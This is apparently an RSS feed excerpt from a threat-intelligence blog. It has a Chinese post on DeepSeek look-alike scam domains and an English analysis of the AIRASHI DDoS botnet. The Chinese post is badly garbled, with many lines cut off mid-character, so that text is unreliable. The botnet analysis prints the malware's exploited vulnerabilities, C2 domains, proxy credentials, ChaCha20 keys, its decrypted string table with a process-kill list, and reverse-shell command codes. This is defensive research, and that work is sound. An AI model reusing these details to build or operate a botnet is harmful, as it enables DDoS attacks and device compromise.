&#x51FA;&#x73B0;&#x5927;&#x6279;&#x4EFF;&#x5192;&#x57DF;&#x540D;&#x5E76;&#x5728;&#x6301;&#x7EED;&#x589E;&#x52A0;&#x4E2D;"><p></p>
<p>&#x5728;&#x7F51;&#x7EDC;&#x5B89;&#x5168;&#x9886;&#x57DF;&#xFF0C;&#x7531;&#x4E8E;&#x5927;&#x89C4;&#x6A21;&#x7684;&#x57FA;&#x7840;&#x6570;&#x6
</p>
<p>&#x4F8B;&#x5982;&#xFF0C;&#x6700;&#x8FD1;&#x7684;&#x52A0;&#x5DDE;&#x5927;&#x706B;&#x5F15;&#x53D1;&#x4E86;&#x5168;&#x7403;&#x7684;&#x5173;&#x6
<a href="https://www.fox5dc.com/news/scammers-exploiting-california-wildfire-relief-efforts-officials-warn?ref=blog.xlab.qianxin.com"
rel="noreferrer">&#x8FD9;&#x91CC;&#x7684;&#x65B0;&#x95FB;&#x62A5;&#x544A;</a>&#x3002;</p>
```

类似的情况，在科技领域的现象级事件&#x
成为了人工智能领域的现象级爆火服务&#xFF0C
的爆火也带来了大量的仿冒网站、钓鱼&#x7F51
DeepSeek
相关网站数量，已成为近期监测数据中&#x4EFF
通常假冒抢注的网址数字多在十位级&#x522B
，而且现在看这个数字还在快速增加&#x300

这类模仿现象，有的可能只是出于商业&#x7
DeepSeek
的热度售卖有前途的域名或者吸引用户&#xFF1B
加持’的各种高大上功能的空气币（无&#x5B9E
ChatGPT）在爆火后迅速出现大量仿冒和诈骗的
<a href="https://cyble.com/blog/the-growing-threat-of-chatgpt-based-phishing-attacks/?ref=blog.xlab.qianxin.com"
rel="noreferrer">cyble的相关分析 。
因此，我们统计了从2024年12月01日到2025年2月3&#x65E
2650个仿冒deepseek的网站。首次看到仿冒deepseek&#
<h2
id="%E6%B3%A8%E5%86%8C%E6%97%B6%E9%97%B4%E5%88%86%E5%B8%83%E5%A6%82%E4%B8%8B">注册时间分布如下:
</h2>
大规模的仿冒注册从1.26开始，1.28达到顶峰&#xF
<figure class="kg-card kg-image-card"><img src="https://blog.xlab.qianxin.com/content/images/2025/02/image-19.png" class="kg-image"
alt="DeepSeek 出现大批仿冒域名并在持续增加中"
loading="lazy" width="1538" height="409" srcset="https://blog.xlab.qianxin.com/content/images/size/w600/2025/02/image-19.png 600w,
https://blog.xlab.qianxin.com/content/images/size/w1000/2025/02/image-19.png 1000w, https://blog.xlab.qianxin.com/content/images/2025/02/image-
19.png 1538w" sizes="(min-width: 720px) 720px"></figure><h2
id="%E6%B3%A8%E5%86%8C%E5%95%86%E7%9A%84%E6%83%85%E5%86%B5%E5%A6%82%E4%B8%8B%EF%BC%9A">注册商的情况如
</h2>
共涉及180个左右不同的注册商
Top10的注册商占了总域名数量的69%
同正常域名注册ߋ似，头部的几个分别&#x
<figure class="kg-card kg-image-card"><img src="https://blog.xlab.qianxin.com/content/images/2025/02/image-18.png" class="kg-image"
alt="DeepSeek 出现大批仿冒域名并在持续增加中"
loading="lazy" width="1876" height="474" srcset="https://blog.xlab.qianxin.com/content/images/size/w600/2025/02/image-18.png 600w,
https://blog.xlab.qianxin.com/content/images/size/w1000/2025/02/image-18.png 1000w,
https://blog.xlab.qianxin.com/content/images/size/w1600/2025/02/image-18.png 1600w, https://blog.xlab.qianxin.com/content/images/2025/02/image-
18.png 1876w" sizes="(min-width: 720px) 720px"></figure><h2 id="%E5%9C%A8tld%E6%96%B9%E9%9D%A2">在TLD方面</h2>
最多的仍然是通用顶级域，其次是国家&#x9
<figure class="kg-card kg-image-card"><img src="https://blog.xlab.qianxin.com/content/images/2025/02/image-16.png" class="kg-image"
alt="DeepSeek 出现大批仿冒域名并在持续增加中"
loading="lazy" width="866" height="488" srcset="https://blog.xlab.qianxin.com/content/images/size/w600/2025/02/image-16.png 600w,
https://blog.xlab.qianxin.com/content/images/2025/02/image-16.png 866w" sizes="(min-width: 720px) 720px"></figure>
TLD的具体分布如下： <figure class="kg-card kg-image-card"><img
src="https://blog.xlab.qianxin.com/content/images/2025/02/image-15.png" class="kg-image" alt="DeepSeek
出现大批仿冒域名并在持续增加中" loading="lazy"
width="596" height="606"></figure><h2
id="%E5%9C%A8%E6%B3%A8%E5%86%8C%E4%BA%BA%E6%96%B9%E9%9D%A2">在注册人方面</h2>
绝大多数的域名注册人都采用了隐私保&#x6
<h2 id="%E5%9C%A8%E8%A7%A3%E6%9E%90%E7%BB%93%E6%9E%9C%E6%96%B9%E9%9D%A2">在解析结果方面</h2>
美国有全球最大的域名注册机构和云服&#x5
<figure class="kg-card kg-image-card"><img src="https://blog.xlab.qianxin.com/content/images/2025/02/image-8.png" class="kg-image"
alt="DeepSeek 出现大批仿冒域名并在持续增加中"
loading="lazy" width="1512" height="932" srcset="https://blog.xlab.qianxin.com/content/images/size/w600/2025/02/image-8.png 600w,
https://blog.xlab.qianxin.com/content/images/size/w1000/2025/02/image-8.png 1000w, https://blog.xlab.qianxin.com/content/images/2025/02/image-
8.png 1512w" sizes="(min-width: 720px) 720px"></figure>
从AS来看，主要解析在域名注册商和云服&#x
<figure class="kg-card kg-image-card"><img src="https://blog.xlab.qianxin.com/content/images/2025/02/image-10.png" class="kg-image"
alt="DeepSeek 出现大批仿冒域名并在持续增加中"
loading="lazy" width="1102" height="610" srcset="https://blog.xlab.qianxin.com/content/images/size/w600/2025/02/image-10.png 600w,
https://blog.xlab.qianxin.com/content/images/size/w1000/2025/02/image-10.png 1000w, https://blog.xlab.qianxin.com/content/images/2025/02/image-
10.png 1102w" sizes="(min-width: 720px) 720px"></figure><h2 id="%E5%9F%9F%E5%90%8D%E7%94%A8%E9%80%94">域名用途</h2>
从域名解析结果来看，这些域名的使用&#x4
<h3
id="%E9%92%93%E9%B1%BC%E6%AC%BA%E8%AF%88%E7%B1%BB%EF%BC%8C%E7%94%A8%E6%9D%A5%E7%AA%83%E5%8F%96%E7%94%A8%E6%88%B7%E7%99%BB%E5%BD%95%E5%87%AD%E8%
</h3> 钓鱼相关页面如下： <figure class="kg-card kg-image-card"><img
src="https://blog.xlab.qianxin.com/content/images/2025/02/image-6.png" class="kg-image" alt="DeepSeek
出现大批仿冒域名并在持续增加中" loading="lazy"
width="1202" height="1456" srcset="https://blog.xlab.qianxin.com/content/images/size/w600/2025/02/image-6.png 600w,
https://blog.xlab.qianxin.com/content/images/size/w1000/2025/02/image-6.png 1000w, https://blog.xlab.qianxin.com/content/images/2025/02/image-
6.png 1202w" sizes="(min-width: 720px) 720px"></figure>
通过空气币诱骗用户的网站有很多，列&#x4
<figure class="kg-card kg-image-card"><img src="https://blog.xlab.qianxin.com/content/images/2025/02/image-11.png" class="kg-image"
alt="DeepSeek 出现大批仿冒域名并在持续增加中"
loading="lazy" width="2000" height="1517" srcset="https://blog.xlab.qianxin.com/content/images/size/w600/2025/02/image-11.png 600w,
https://blog.xlab.qianxin.com/content/images/size/w1000/2025/02/image-11.png 1000w,
https://blog.xlab.qianxin.com/content/images/size/w1600/2025/02/image-11.png 1600w,
https://blog.xlab.qianxin.com/content/images/size/w2400/2025/02/image-11.png 2400w" sizes="(min-width: 720px) 720px"></figure><figure
class="kg-card kg-image-card"><img src="https://blog.xlab.qianxin.com/content/images/2025/02/image-12.png" class="kg-image" alt="DeepSeek
出现大批仿冒域名并在持续增加中" loading="lazy"
width="2000" height="1515" srcset="https://blog.xlab.qianxin.com/content/images/size/w600/2025/02/image-12.png 600w,
https://blog.xlab.qianxin.com/content/images/size/w1000/2025/02/image-12.png 1000w,
https://blog.xlab.qianxin.com/content/images/size/w1600/2025/02/image-12.png 1600w,
https://blog.xlab.qianxin.com/content/images/size/w2400/2025/02/image-12.png 2400w" sizes="(min-width: 720px) 720px"></figure>
除了常规的空气币诈骗之外，骗子甚至&#x5
抢先购买deepseek原始股
，着实很动心暴富的机会来。 <figure class="kg-card kg-
image-card"><img src="https://blog.xlab.qianxin.com/content/images/2025/02/pre-ipo_deepseek.png" class="kg-image" alt="DeepSeek
出现大批仿冒域名并在持续增加中" loading="lazy"
width="2000" height="1543" srcset="https://blog.xlab.qianxin.com/content/images/size/w600/2025/02/pre-ipo_deepseek.png 600w,
https://blog.xlab.qianxin.com/content/images/size/w1000/2025/02/pre-ipo_deepseek.png 1000w,
https://blog.xlab.qianxin.com/content/images/size/w1600/2025/02/pre-ipo_deepseek.png 1600w,
https://blog.xlab.qianxin.com/content/images/size/w2400/2025/02/pre-ipo_deepseek.png 2400w" sizes="(min-width: 720px) 720px"></figure>
<h3
id="%E5%9F%9F%E5%90%8D%E6%8A%A2%E6%B3%A8%EF%BC%8C%E4%BB%A5%E6%9C%9F%E5%90%8E%E7%BB%AD%E8%83%BD%E5%A4%9F%E9%80%9A%E8%BF%87%E5%9F%9F%E5%90%8D%E8%
</h3>
比如下面这种deepseekagent.com目前标价37.95万人民币&#xFF0
<figure class="kg-card kg-image-card"><img src="https://blog.xlab.qianxin.com/content/images/2025/02/image-2.png" class="kg-image"
alt="DeepSeek 出现大批仿冒域名并在持续增加中"
loading="lazy" width="2000" height="979" srcset="https://blog.xlab.qianxin.com/content/images/size/w600/2025/02/image-2.png 600w,
https://blog.xlab.qianxin.com/content/images/size/w1000/2025/02/image-2.png 1000w,
https://blog.xlab.qianxin.com/content/images/size/w1600/2025/02/image-2.png 1600w,
https://blog.xlab.qianxin.com/content/images/size/w2400/2025/02/image-2.png 2400w" sizes="(min-width: 720px) 720px"></figure><figure class="kg-
card kg-image-card"><img src="https://blog.xlab.qianxin.com/content/images/2025/02/image-4.png" class="kg-image" alt="DeepSeek
出现大批仿冒域名并在持续增加中" loading="lazy"
width="2000" height="379" srcset="https://blog.xlab.qianxin.com/content/images/size/w600/2025/02/image-4.png 600w,
https://blog.xlab.qianxin.com/content/images/size/w1000/2025/02/image-4.png 1000w,
https://blog.xlab.qianxin.com/content/images/size/w1600/2025/02/image-4.png 1600w,
https://blog.xlab.qianxin.com/content/images/size/w2400/2025/02/image-4.png 2400w" sizes="(min-width: 720px) 720px"></figure> <h3
id="%E5%81%9Aai%E7%A0%94%E7%A9%B6%E7%9B%B8%E5%85%B3%E7%9A%84%EF%BC%8C%E9%80%9A%E8%BF%87%E8%BF%99%E7%A7%8D%E6%96%B9%E5%BC%8F%E6%8F%90%E9%AB%98%E
</h3> 比如下面的站点： <figure class="kg-card kg-image-card"><img
src="https://blog.xlab.qianxin.com/content/images/2025/02/image-7.png" class="kg-image" alt="DeepSeek
出现大批仿冒域名并在持续增加中" loading="lazy"
width="2000" height="1513" srcset="https://blog.xlab.qianxin.com/content/images/size/w600/2025/02/image-7.png 600w,

```
https://blog.xlab.qianxin.com/content/images/size/w1000/2025/02/image-7.png 1000w,
https://blog.xlab.qianxin.com/content/images/size/w1600/2025/02/image-7.png 1600w,
https://blog.xlab.qianxin.com/content/images/size/w2400/2025/02/image-7.png 2400w" sizes="(min-width: 720px) 720px"></figure><h2
id="%E4%B8%80%E4%BA%9B%E5%9F%9F%E5%90%8D%E6%A0%B7%E4%BE%8B">&#x4E00;&#x4E9B;&#x57DF;&#x540D;&#x6837;&#x4F8B;</h2><p>deepseekr3.com<br>
deepseekwin.com<br> deepseekcto.com<br> netdeepseek.com<br> deepseekgod.com<br> domaindeepseek.com<br> deepseek-ai-assistant.com<br>
localdeepseek.com<br> deepseekv3.com<br> deep-seek-r1.pw<br> seeksdeeper.com<br> deepseeky.com<br> deepseekai.pics<br> finetunedeepseek.com<br>
deepseekjournal.com<br> ideepseekai.com<br> deepseek-chat.vip<br> discoverdeepseek.com<br> learndeepseek.org<br> deepseek.cam<br>
deepseekportfolios.com<br> deepseeksol.xyz<br> deepseekmoscow.ru<br> deepseeknow.xyz<br> godeepseek.xyz<br> deepseekspan.com<br>
agideepseek.com<br> deepseekworkflow.com<br> openaideepseek.com<br> deepseek-ai.space<br> bdeepseek.com<br> deepseekaiapk.com<br> deepseek-
bank.com<br> deepseek27.com<br> deepseekindustry.com<br> deepseekcoin.net<br> deepseekpartners.org<br> aideepseek.se<br>
deepseekasia.online<br> 8deepseek.com<br> deepseekphone.com<br> deepseek123.com</p> <h2
id="%E5%8F%97%E5%BD%B1%E5%93%8D%E6%83%85%E5%86%B5%E5%8F%8A%E5%AE%89%E5%85%A8%E5%BB%BA%E8%AE%AE">&#x53D7;&#x5F71;&#x54CD;&#x60C5;&#x51B5;&#x53CA
</h2>
<p>&#x4ECE;&#x6211;&#x4EEC;PassiveDNS&#x6570;&#x636E;&#x6765;&#x8BC4;&#x4F30;&#xFF0C;&#x8FD9;&#x4E9B;&#x57DF;&#x540D;&#x7684;&#x6D41;&#x884C;&#
</p>
<p>&#x5C3D;&#x7BA1;&#x8FD9;&#x4E9B;&#x4F2A;&#x9020;&#x7684;deepseek&#x57DF;&#x540D;&#x5728;&#x5E94;&#x7528;&#x5F62;&#x6001;&#x65B9;&#x9762;&#x5
</p>
<p>&#x51FA;&#x4E8E;&#x4E25;&#x683C;&#x7684;&#x5B89;&#x5168;&#x8003;&#x8651;&#xFF0C;&#x5EFA;&#x8BAE;&#x7528;&#x6237;&#x5728;&#x8BBF;&#x95EE;deep
&#x4EE5;&#x53CA;
deepseek.cn&#x3002;&#x5176;&#x4ED6;&#x7684;&#x57DF;&#x540D;&#x9664;&#x975E;&#x4F60;&#x80FD;&#x591F;&#x786E;&#x8BA4;&#x8BBF;&#x95EE;&#x7684;&#x7
</p> ]]>
</content:encoded>
</item>
<item>
<title>
<![CDATA[ Botnets Never Die: An Analysis of the Large Scale Botnet AIRASHI ]]>
</title>
<description>
<![CDATA[ <h1 id="overview">Overview</h1> <p>In August 2024, XLab observed <a
href="https://blog.xlab.qianxin.com/more_ddos_details_on_steam_en/">a premeditated large-scale DDoS attack targeting the distribution platforms
of the chinese game Black Myth: Wukong, namely Steam and Perfect World</a>.This attack operation was divided into four waves, with the
attackers carefully selecting the peak online hours of gamers in various time zones</p> ]]>
</description>
<link>https://blog.xlab.qianxin.com/large-scale-botnet-airashi-en/</link>
<guid isPermaLink="false">678742726bb47b00011904a6</guid>
<category>
<![CDATA[ Botnet ]]>
</category>
<category>
<![CDATA[ DDoS ]]>
</category>
<dc:creator>
<![CDATA[ Wang Hao ]]>
</dc:creator>
<pubDate>Wed, 15 Jan 2025 13:43:41 GMT</pubDate>
<media:content url="https://blog.xlab.qianxin.com/content/images/2025/01/aisuru_powerproof.2025-01-15-11.08.01-1-1.png" medium="image"/>
<content:encoded>
<![CDATA[ <h1 id="overview">Overview</h1> <img src="https://blog.xlab.qianxin.com/content/images/2025/01/aisuru_powerproof.2025-01-15-11.08.01-
1-1.png" alt="Botnets Never Die: An Analysis of the Large Scale Botnet AIRASHI"><p>In August 2024, XLab observed <a
href="https://blog.xlab.qianxin.com/more_ddos_details_on_steam_en/">a premeditated large-scale DDoS attack targeting the distribution platforms
of the chinese game Black Myth: Wukong, namely Steam and Perfect World</a>.This attack operation was divided into four waves, with the
attackers carefully selecting the peak online hours of gamers in various time zones to launch sustained attacks lasting several hours. They
simultaneously targeted hundreds of servers distributed across 13 global regions belonging to Steam and Perfect World, aiming to achieve
maximum destructive impact. The botnet involved in this attack operation referred to itself as AISURU at the time. This article will analyze
the variants of the AISURU botnet, known as AIRASHI.</p> <p>After the above-mentioned attack was exposed, the AISURU botnet temporarily ceased
its attack activities in September. However, driven by profit motives, it was updated in October, and based on the sample characteristics, we
named it kitty. By the end of November, a new variant reappeared and was updated again in the samples at the end of November, with the botnet
renamed as: AIRASHI.</p> <p>The current AIRASHI botnet has the following main characteristics:</p> <ul> <li>Uses a 0DAY vulnerability of
cnPilot routers to spread samples.</li> <li>Sample strings are encrypted with RC4, while the CNC communication protocol has added HMAC-SHA256
verification and uses ChaCha20 encryption.</li> <li>CNC domain names include keywords such as xlabresearch, xlabsecurity, and foxthreatnointel,
mocking XLAB and security researchers.</li> <li>Stable T-level DDoS attack capabilities.</li> <li>Rich IP resources for the command and control
(CNC) end, with nearly 60 IPs resolved from domains, distributed across different countries and service providers. This may be intended to
accommodate more bot endpoints and increase the difficulty of dismantling the botnet. The following image shows the Passive DNS records of
AIRASHI CNC xlabsecurity.ru. It reveals that the CNC domain xlabsecurity.ru once resolved to 144 IPs distributed across 19 countries and 10 AS
numbers (Autonomous System Numbers, ASN).</li> </ul> <a href="https://blog.xlab.qianxin.com/content/images/2025/01/pdns.xlabsecurity.ru.png"
target="_blank"> <img src="https://blog.xlab.qianxin.com/content/images/2025/01/pdns.xlabsecurity.ru.png" alt="Botnets Never Die: An Analysis
of the Large Scale Botnet AIRASHI" width="860"> </a> <p align="center">xlabsecurity.ru Passive DNS records</p> <h1 id="exploitation-
details">Exploitation Details</h1> <p>Relying on the capabilities of XLab&amp;apos;s large-scale threat awareness system, we observed that AIRASHI
samples mainly spread through NDAY vulnerabilities and TELNET weak passwords, while also possessing the ability to exploit 0DAY
vulnerabilities. Since June of last year, we have observed AIRASHI using a 0DAY vulnerability in cnPilot routers spread its samples. Regarding
this 0DAY vulnerability, we contacted the manufacturer in June of last year, but received no response. To prevent abuse of the vulnerability,
this article will not disclose information about it. The vulnerabilities exploited by AIRASHI are as follows:</p> <table> <thead> <tr>
<th>VULNERABILITY</th> </tr> </thead> <tbody> <tr> <td><a href="http://a-mtk.com/wp-content/uploads/2015/06/Common-CGI-command-EN-20150331.pdf?
ref=blog.xlab.qianxin.com">AMTK Camera cmd.cgi Remote Code Execution</a></td> </tr> <tr> <td><a href="https://www.exploit-
db.com/exploits/39328?ref=blog.xlab.qianxin.com">Google Android ADB Debug Server - Remote Payload Execution</a></td> </tr> <tr> <td><a
href="https://www.exploit-db.com/exploits/40500?ref=blog.xlab.qianxin.com">AVTECH IP Camera / NVR / DVR Devices</a></td> </tr> <tr>
<td>cve_2013_3307</td> </tr> <tr> <td>cve_2016_20016</td> </tr> <tr> <td>cve_2017_5259</td> </tr> <tr> <td>cve_2018_14558</td> </tr> <tr>
<td>cve_2020_25499</td> </tr> <tr> <td>cve_2020_8515</td> </tr> <tr> <td>cve_2022_40005</td> </tr> <tr> <td>cve_2022_44149</td> </tr> <tr>
<td>cve_2023_28771</td> </tr> <tr> <td><a href="https://packetstormsecurity.com/files/132149/Gargoyle-1.5.x-Command-Execution.htm?
ref=blog.xlab.qianxin.com">Gargoyle Route run_commands.sh Remote Code Execution</a></td> </tr> <tr> <td><a
href="https://blog.netlab.360.com/multiple-botnets-are-spreading-using-lilin-dvr-0-day/?ref=blog.xlab.qianxin.com">LILIN Digital Video Recorder
Multiple Remote Code Execution</a></td> </tr> <tr> <td>CVE-2022-3573</td> </tr> <tr> <td>cnPilot 0DAY</td> </tr> <tr> <td><a
href="https://packetstormsecurity.com/files/162993/OptiLink-ONT1GEW-GPON-2.1.11_X101-Remote-Code-Execution.htm?ref=blog.xlab.qianxin.com">
OptiLink ONT1GEW GPON 2.1.11_X101</a></td> </tr> <tr> <td><a href="https://github.com/mcw0/PoC/blob/master/TVT-PoC.py?
ref=blog.xlab.qianxin.com">Shenzhen TVT Digital Technology Co. Ltd &amp;amp; OEM {DVR/NVR/IPC} API RCE</a></td> </tr> </tbody> </table> <h1
id="ddos-capabilities-and-ddos-activities">DDoS Capabilities and DDoS Activities</h1> <h2 id="ddos-capabilities">DDoS Capabilities</h2>
<p>Botnet operators often showcase their attack capabilities through social media platforms such as Telegram, Discord, or forums, with the goal
of attracting potential customers or intimidating competitors. To prove the attack capabilities of their botnets, some operators use third-
party botnet attack measurement services for validation. They direct their botnets to attack servers provided by these measurement services.
The measurement services then collect and analyze information such as the size of attack traffic, packet rates, geographic locations of the
attack sources, ASNs, and attack methods. After receiving these statistics, the botnet operators post them on their social media platforms to
demonstrate the power of their botnets.</p> <p>The AIRASHI botnet uses this exact method to prove its attack capabilities. The image below
shows one of their <a href="https://dvs.ops2.net/incident/5d1a34d8-3a1d-4c09-a77c-c29b20597c81?ref=blog.xlab.qianxin.com">attack capability
demonstrations</a>&#xFF1A;</p> <a href="https://blog.xlab.qianxin.com/content/images/2025/01/aisuru_powerproof.2025-01-15-11.08.01.png"
target="_blank"> <img src="https://blog.xlab.qianxin.com/content/images/2025/01/aisuru_powerproof.2025-01-15-11.08.01.png" alt="Botnets Never
Die: An Analysis of the Large Scale Botnet AIRASHI" width="860"> </a> <p>The statistics displayed on the image are as follows:</p> <ul>
<li>Current attack peak: 3.11 Tbps (270.52 Mpps)</li> <li>Test user ID: 66XXXXXXXX (This ID corresponds to the Telegram channel administrator
of the AIRASHI botnet)</li> <li>Last updated: 2025-01-13 20:20:04 UTC</li> <li>Attack source<br> <img
src="https://blog.xlab.qianxin.com/content/images/2025/01/--2025-01-14-14.31.09.png" alt="Botnets Never Die: An Analysis of the Large Scale
Botnet AIRASHI" loading="lazy"></li> </ul> <p>The operator of AIRASHI has been posting their DDoS capability test results on Telegram. From
historical data, it can be observed that the attack capacity of the AIRASHI botnet remains stable around 1-3 Tbps.</p> <p><img
src="https://blog.xlab.qianxin.com/content/images/2025/01/aisuru_powerproof.2025-01-15-11.08.02.jpg" alt="Botnets Never Die: An Analysis of the
Large Scale Botnet AIRASHI" loading="lazy"></p> <h2 id="ddos-activities">DDoS Activities</h2> <p>The attack targets of the AIRASHI botnet are
spread globally across various industries, with the primary targets located in regions such as China, the United States, Poland, and Russia.
There is no clear, strong targeting strategy. The botnet typically attacks several hundred targets each day.</p> <p><img
src="https://blog.xlab.qianxin.com/content/images/2025/01/trends.airashi..56.44.png" alt="Botnets Never Die: An Analysis of the Large Scale
Botnet AIRASHI" loading="lazy"></p> <h1 id="sample-analysis">Sample Analysis</h1> <p>The AIRASHI botnet sample is frequently updated and has
multiple versions. Some versions, in addition to supporting the main DDoS functionality and operating system command execution, also support
proxy services. The following analysis focuses on kitty and AIRASHI, examining technical details of the botnet from aspects such as
<strong>string decryption, C2 retrieval, communication protocols, and supported commands.</strong></p> <h2 id="part1-kitty-socks5">Part1:
kitty-socks5</h2> <p>The kitty sample began spreading in early October 2024. Compared to previous AISURU samples, it has simplified the network
protocol. By the end of October, it started using SOCKS5 proxies to communicate with the C2 server, and it encoded 250 proxies and 55 C2
```

addresses in the string table. <h3 id="0x1-decryption-of-strings">0x1: Decryption of strings</h3> There are no significant changes in the string decoding method; it still uses xor_bytes. However, the key has been modified to DEADBEEFCAFEBABE1234567890ABCDEF, and the number of entries in the string table has been reduced to 7. <img src="https://blog.xlab.qianxin.com/content/images/2024/11/tableinit.png" alt="Botnets Never Die: An Analysis of the Large Scale Botnet AIRASHI" loading="lazy"> <h3 id="0x2-how-to-get-c2">0x2: How to get C2</h3> In terms of C2 retrieval, the method of obtaining the C2 IP through HTTP was removed in early October. The C2 string is still split using the | character, and as before, each domain is mapped to over 20 IP addresses. eg:<code>dvrhelpers.su|ipcamlover.ru|xlabresearch.ru|xlabsecurity.ru</code> However, after the addition of SOCKS5 at the end of October, the string table was updated to include proxy entries. Both the C2 and proxy entries are now encoded using multiple sets of IP-PORT byte sequences. eg:<code>\x7f\x00\x00\x01\x00\x50</code>represents<code>127.0.0.1:80</code> <h3 id="0x3-network-protocol">0x3: Network Protocol</h3> In terms of the network protocol, it still uses a switch-case structure for handling different stages, similar to the Fodcha botnet. <img src="https://blog.xlab.qianxin.com/content/images/2024/11/net-switch-case.png" alt="Botnets Never Die: An Analysis of the Large Scale Botnet AIRASHI" loading="lazy"> However, the communication process has been simplified. The latest sample uses a SOCKS5 proxy (with authentication) to access the C2 server. <pre><code>username: jjktkegl password: 2bd463maabw5 </code></pre> The original key exchange process has been removed, and the communication traffic is no longer encrypted. The startup packet is replaced with Kitty-Kitty-Kitty, and every 2 minutes, a heartbeat packet cat is sent to the C2 server, which responds with meow!. <img src="https://blog.xlab.qianxin.com/content/images/2024/11/socks5_protocol.png" alt="Botnets Never Die: An Analysis of the Large Scale Botnet AIRASHI" loading="lazy"> The command types still focus primarily on DDoS, with the addition of a reverse shell functionality. The command format hasn't changed significantly. It still follows the cmdtype+payload structure, but the value of cmdtype has been updated. Additionally, DDoS-related commands now include a new AttckID field. <table> <thead> <tr> <th>cmdtype</th> <th>desc</th> </tr> </thead> <tbody> <tr> <td>0x13</td> <td>reverse shell</td> </tr> <tr> <td>0x2c</td> <td>stop attack</td> </tr> <tr> <td>0x4b</td> <td>start attack</td> </tr> <tr> <td>0xaf</td> <td>exit</td> </tr> </tbody> </table> <h2 id="part2-airashi">Part2: AIRASHI</h2> Currently, three types of AIRASHI samples have been discovered:
 1. AIRASHI-DDoS: First identified in late October, this sample primarily focuses on DDoS attacks but also allows arbitrary command execution and reverse shell access.
 2. Go-Proxisdk: First discovered in late November, this is a proxy tool based on muxado written in Go.
 3. AIRASHI-Proxy: First identified in early December, this is a heavily modified version of the AIRASHI-DDoS source code, using a private protocol to implement proxy functionality. AIRASHI shares some similarities with AISURU. If kitty is a streamlined version of AISURU, then AIRASHI seems to be an upgraded version. Since October, it has been continuously updated. After developing the simple Go-Proxisdk, the custom protocol proxy tool AIRASHI-Proxy was developed, indicating an attempt to surprise us with entirely new features. <h3 id="0x1-rc4">0x1: RC4</h3> AIRASHI and AISURU share some common characteristics in string decryption. Both continue to use a 16-byte key, and the decryption algorithm employed is RC4. The output string is snow slide, and special strings are separated using the | character. The decryption method is the same for both the Proxy and DDoS versions, but the Proxy version contains significantly fewer strings. Interestingly, some unused strings appear to be responding to our previous AISURU債尸网络技术细节揭秘之旅 includes a YouTube link to a conga dance track and a dance invitation. Additionally, there's a request for xlab and foxnointel to name this variant "AIRASHI". <pre><code>0 'snow slide' 1 'telnetd|upnpc-static|udhcpc|/usr/bin/inetd|ntpclient|boa|lighttpd|httpd|goahead|mini_http|miniupnpd|dnsmasq|sshd|dhcpd|upnpd|watchdog|syslogd|klogd|uhttpd|uc2 '/dvrEncoder|/dvrRecorder|/dvrDecoder|/rtspd|/ptzcontrol|/dvrUpdater' 3 'cve-2021-36260.ru' 4 'honeybooterz.cve-2021-36260.ru' 5 'stun.l.google.com:19302' 6 '/proc/' 7 '/proc/self/exe' 8 '/proc/net/tcp' 9 '/proc/mounts' 10 '/cmdline' 11 '/exe' 12 '/status' 13 '/fd/' 14 'PPid:' 15 '/bin/|/sbin/|/usr/|/snap/' 16 'wget|curl|tftp|ftpget|reboot|chmod' 17 '/bin/login' 18 '/usr/bin/cat' 19 'processor' 20 '/proc/cpuinfo' 21 '/bin/busybox echo AIRASHI > /proc/sys/kernel/hostname' 22 '/bin/busybox AIRASHI' 23 'AIRASHI: applet not found' 24 'abcdefghijklmnopqrstuvw012345678' 25 'come on, shake your body xlab, do the conga' 26 'i know you can't control yourself any longer' 27 'https://www.youtube.com/watch?v=ODKTITUPusM' 28 'dear researcher (xlab, foxnointel, ...), please refer to this malware as AIRASHI. thank you!' </code></pre> <h3 id="0x2-how-to-get-c2">0x2: How to Get C2</h3> AIRASHI uses three different methods to get C2:
 1. AIRASHI-DDoS (Early development, late October): The most basic method, using DNS servers to resolve the C2's A record.
 2. AIRASHI-Proxy: Retrieves the C2's TXT record from the DNS server and decodes the plaintext IP and port.
 3. AIRASHI-DDoS (Late November): Uses DNS servers to retrieve the C2's TXT record, then base64-decrypts and decrypts 4 bytes of the IP using ChaCha20. The port is hardcoded in the sample. <img src="https://blog.xlab.qianxin.com/content/images/2024/12/airashi_c2_txt_record.png" alt="Botnets Never Die: An Analysis of the Large Scale Botnet AIRASHI" loading="lazy"> DNS_TXT_CHACHA20_KEY: <code>8E12DF8893A638354D851BCB46B5B7DC451C6F52066305AC641DE60C80D11850</code> DND_TXT_CHACHA20_NONCE: <code>941A247DDD53819F755FD59B</code> It is worth noting that on December 3rd, both the A record and TXT record for C2 resolution existed simultaneously for AIRASHI-DDoS, and there was a corresponding relationship after decryption. This might have been done to ensure compatibility with previous versions, but it renders the encryption and encoding largely meaningless. <h3 id="0x3-network-protocol">0x3: Network Protocol</h3> AIRASHI uses a completely new network protocol that involves HMAC-SHA256 and CHACHA20 algorithms. HMAC is used to verify the integrity of the message, while the negotiated CHACHA20_KEY is used to encrypt and decrypt the message. In the Proxy version, HMAC is not used for message verification in the protocol part, but the rest of the protocol remains consistent with the DDoS version.   Communication With C2 Each message is divided into two parts: a 32-byte HMAC checksum of the message and the message itself. As shown in the diagram, the Header part of the message is sent first to confirm the message type and length. If the message length is not zero, the Payload part is then sent.
 <img src="https://blog.xlab.qianxin.com/content/images/2024/11/airashi_msg.png" alt="Botnets Never Die: An Analysis of the Large Scale Botnet AIRASHI" loading="lazy"> The communication process, like before, is controlled by a switch-case structure using status codes, and it is divided into 4 steps:
 1. Key Negotiation
 - Obtain a 32-byte CHACHA20_KEY and a nonce. Subsequent messages are encrypted using CHACHA20 and the CHACHA20_KEY is used as the key for HMAC-SHA256.
 2. Key Confirmation
 - A message with type 1 is encrypted using CHACHA20 and sent. The returned message type is verified to ensure it is also type 1.
 3. Send Startup Packet
 - The architecture type is obtained by reading the ELF header. The structure of the startup packet is as follows:
 <code>c struct login{ uint8 uk1; uint8 uk2; uint8 uk3; uint32 stunIP; uint32 botid_len; char botid[botid_len]; uint16 cpu_core_num; uint16 arch_type; } </code>
 4. Check-In Confirmation
 - The C2 returns a message with type 2. The actual traffic generated is as follows: <img src="https://blog.xlab.qianxin.com/content/images/2024/11/airashi_net_protocol.png" alt="Botnets Never Die: An Analysis of the Large Scale Botnet AIRASHI" loading="lazy">   Message Type
